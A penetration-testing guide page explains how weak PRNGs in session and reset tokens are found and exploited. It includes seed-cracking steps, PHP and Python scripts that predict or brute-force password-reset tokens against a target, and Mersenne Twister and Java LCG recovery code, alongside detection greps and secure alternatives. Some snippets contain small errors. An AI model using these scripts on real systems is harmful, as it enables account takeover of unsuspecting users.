# Weak Random Token Generation

> Identifies weak PRNG usage in token/session generation via HTTP traffic analysis, focusing on entropy flaws, predictable seeds, and statistical pattern testing.

- **URL:** https://hackindex.io/services/web/vulnerability-discovery/weak-random-token-generation
- **Path:** HTTP/HTTPS > Vulnerability Discovery
- **Up:** [Vulnerability Discovery](https://hackindex.io/services/web/vulnerability-discovery.md)
- **Published:** 2026-09-13
- **Updated:** 2026-09-13

Applications that generate tokens, session IDs, or reset codes using weak random number generators produce predictable values. An attacker who can predict or brute-force these tokens can hijack sessions, bypass authentication, and take over accounts. The core issue is using pseudo-random number generators (PRNGs) designed for statistical simulation rather than cryptographic security. Functions like PHP's `mt_rand()`, Python's `random.randint()`, and Java's `java.util.Random` are all predictable given enough output samples or knowledge of the seed. For general authentication testing methodology, see [authentication vulnerability testing](https://hackindex.io/services/web/vulnerability-discovery/authentication-vulnerability-testing).

Topics covered on this page:

- Identifying weak token generation in source code
- PHP `mt_rand()` seed cracking with php_mt_seed
- Timestamp-based token prediction
- Python Mersenne Twister state recovery
- Java `java.util.Random` seed prediction
- Entropy analysis with Burp Sequencer
- Secure alternatives per language

## Identifying Weak Token Generation

During [source code review](https://hackindex.io/services/web/exploitation/source-code-review-methodology), search for these weak patterns:

```
# PHP weak patterns
$token = md5(mt_rand());           # Predictable: mt_rand seed is 32-bit
$token = md5(time());              # Predictable: timestamp known to attacker
$token = md5(microtime());         # Narrow brute-force window
$token = uniqid();                 # Based on timestamp + microseconds
$token = sha1(rand() . $username); # rand() is even weaker than mt_rand()
$token = bin2hex(random_bytes(16)); # SECURE: CSPRNG

# Python weak patterns
token = str(random.randint(0, 999999))  # Predictable Mersenne Twister
token = hashlib.md5(str(time.time()).encode()).hexdigest()  # Timestamp
token = secrets.token_hex(16)  # SECURE: CSPRNG

# Java weak patterns
Random rng = new Random();         # Predictable 48-bit LCG
token = String.valueOf(rng.nextInt());
SecureRandom rng = new SecureRandom();  # SECURE: CSPRNG

# Node.js weak patterns
token = Math.random().toString(36).substr(2);  # V8 xorshift128+, predictable
token = crypto.randomBytes(16).toString('hex');  // SECURE: CSPRNG
```

**Grep for weak random in PHP**

```bash
grep -rn --include='*.php' -E '(mt_rand|rand|uniqid|microtime|md5\(time|sha1\(time|srand)' . | grep -v vendor
```

**Grep for weak random in Python**

```bash
grep -rn --include='*.py' -E '(random\.(randint|choice|random)|time\.time|uuid1)' . | grep -v venv
```

## PHP mt_rand() Seed Cracking

PHP's `mt_rand()` uses the Mersenne Twister PRNG seeded with a 32-bit value. Given a single `mt_rand()` output (or the result of a function that depends on it), the seed can be brute-forced. The tool `php_mt_seed` tries all 2^32 possible seeds and finds which one produces the observed output.

### Step 1: Collect a Token

Request a password reset, session token, or any value generated with `mt_rand()`. If the token is `md5(mt_rand())`, you need the raw `mt_rand()` output. If you can observe it directly (some applications expose it), use that value.

### Step 2: Crack the Seed

**Install php_mt_seed**

```bash
git clone https://github.com/openwall/php_mt_seed.git
cd php_mt_seed
make
```

If you know the exact `mt_rand()` output value:

```bash
./php_mt_seed <OBSERVED_VALUE>
# Pattern: EXACT
# Version: 7.1.0+
# seed = 1234567890
#
# Found 1 seed(s)
```

If the output is from `mt_rand(min, max)` with a known range:

```bash
# mt_rand(0, 999999) produced 482951
./php_mt_seed 482951 482951 0 999999
```

### Step 3: Predict Future Tokens

Once you have the seed, recreate the PRNG state in PHP and generate all subsequent values:

```php
<?php
mt_srand(1234567890);  // Use cracked seed

// Skip the outputs already consumed
mt_rand();  // First call (the one you observed)

// Predict the next token
$next_token = md5(mt_rand());
echo "Next reset token: $next_token\n";

// Generate several future tokens
for ($i = 0; $i < 10; $i++) {
    echo "Token $i: " . md5(mt_rand()) . "\n";
}
?>
```

Use the predicted token to access the password reset link before the legitimate user does.

## Timestamp-Based Token Prediction

Tokens derived from `time()` or `microtime()` can be predicted by brute-forcing a small window around the request time.

```python
import hashlib
import time
import requests

# Record the time when the reset was triggered
target_time = int(time.time())

# Brute-force a window of +/- 300 seconds
for ts in range(target_time - 300, target_time + 300):
    token = hashlib.md5(str(ts).encode()).hexdigest()
    resp = requests.get(f'http://$TARGET_IP:$PORT/reset?token={token}')
    if resp.status_code == 200 and 'invalid' not in resp.text.lower():
        print(f'Valid token found: {token} (timestamp: {ts})')
        break
```

For `microtime()` (microsecond precision), the brute-force space is larger but still feasible. A 60-second window with microsecond precision is 60,000,000 attempts, manageable with a fast script. Narrow the window by using the server's `Date` response header to synchronize clocks.

## PHP uniqid() Weakness

`uniqid()` returns a string based on the current time in microseconds. Without the `more_entropy` parameter, it outputs a 13-character hex string that is directly derived from the timestamp:

```php
<?php
// uniqid() output: "6507a1b2c3d4e"
// Format: 8 hex chars (seconds since epoch) + 5 hex chars (microseconds)
// Entirely predictable if you know the approximate time

// Even with more_entropy:
// uniqid('', true) = "6507a1b2c3d4e1.23456789"
// Adds lcg_value() output, which is also based on PID and time
?>
```

Extract the timestamp from a collected `uniqid()` value, then generate candidates for nearby microsecond values to predict other tokens generated around the same time.

## Python random Module State Recovery

Python's `random` module uses Mersenne Twister with a 624 x 32-bit internal state. Given 624 consecutive 32-bit outputs, the entire state can be reconstructed and all future outputs predicted. If the application exposes enough random values (through tokens, IDs, or other generated data), state recovery is possible:

```python
import random

def untemper(y):
    y ^= y >> 18
    y ^= (y << 15) & 0xefc60000
    for i in range(7):
        y ^= (y << 7) & 0x9d2c5680
    y ^= y >> 11
    y ^= y >> 22
    return y

def recover_state(outputs):
    state = [untemper(o) for o in outputs[:624]]
    random.setstate((3, tuple(state + [624]), None))

# Collect 624 outputs from the application
observed = [...]  # 624 integers from random.getrandbits(32)
recover_state(observed)

# Predict future values
next_token = random.getrandbits(32)
print(f"Next value: {next_token}")
```

In practice, collecting 624 outputs requires the application to expose many token values (common in APIs that return sequential IDs or tokens in bulk). If only a few outputs are available, the attack may still be feasible with partial state recovery techniques or by combining with a known seed (PID + timestamp).

## Java java.util.Random Seed Prediction

Java's `java.util.Random` uses a 48-bit linear congruential generator (LCG). Given two consecutive outputs, the seed can be recovered. With one output, brute-forcing the 48-bit seed space is feasible on modern hardware (2^48 = ~281 trillion, but LCG properties reduce the search).

```java
// Java LCG formula:
// seed = (seed * 0x5DEECE66DL + 0xBL) & 0xFFFFFFFFFFFF
// output = (int)(seed >>> (48 - bits))

// Given two consecutive nextInt() outputs, recover the seed:
long seed = ((long)output1 << 16) | guess;  // Try all 2^16 values for low bits
if (((seed * 0x5DEECE66DL + 0xBL) & 0xFFFFFFFFFFFFL) >>> 16 == output2) {
    // Seed found, predict all future values
}
```

## Entropy Analysis with Burp Sequencer

Burp Sequencer statistically analyzes token randomness without needing source code. It collects a large sample of tokens and runs statistical tests (FIPS 140-2, chi-squared, compression) to measure entropy.

1. Capture a request that returns a token (login response with session cookie, password reset with token in response)
2. Right-click the request in Proxy > HTTP History > Send to Sequencer
3. In Sequencer, define the token location (cookie value, response body pattern)
4. Click Start live capture, collect at least 1000 tokens (more is better)
5. Click Analyze now to see the entropy results

Results interpretation:

- **Effective entropy > 100 bits**: likely cryptographically secure. Prediction not feasible
- **Effective entropy 50-100 bits**: weak but not trivially exploitable. May indicate a non-CSPRNG
- **Effective entropy < 50 bits**: predictable. Investigate the generation method
- **Significant at 1% level**: statistical tests detect patterns, confirms weak randomness

## Secure Token Generation

Recommended alternatives per language. All use cryptographically secure pseudo-random number generators (CSPRNGs) backed by the OS entropy pool:

```
# PHP (7.0+)
$token = bin2hex(random_bytes(32));  // 64 hex chars, 256 bits entropy

# Python (3.6+)
import secrets
token = secrets.token_hex(32)  // 64 hex chars
token = secrets.token_urlsafe(32)  // URL-safe base64

# Java
SecureRandom sr = new SecureRandom();
byte[] token = new byte[32];
sr.nextBytes(token);

# Node.js
const crypto = require('crypto');
const token = crypto.randomBytes(32).toString('hex');

# Ruby
require 'securerandom'
token = SecureRandom.hex(32)
```

## References

- [php_mt_seed](https://github.com/openwall/php_mt_seed) - Brute-force tool for recovering PHP mt_rand() seeds from observed output values.
- [Burp Sequencer Documentation](https://portswigger.net/burp/documentation/desktop/tools/sequencer) - Statistical entropy analysis tool for token randomness assessment.
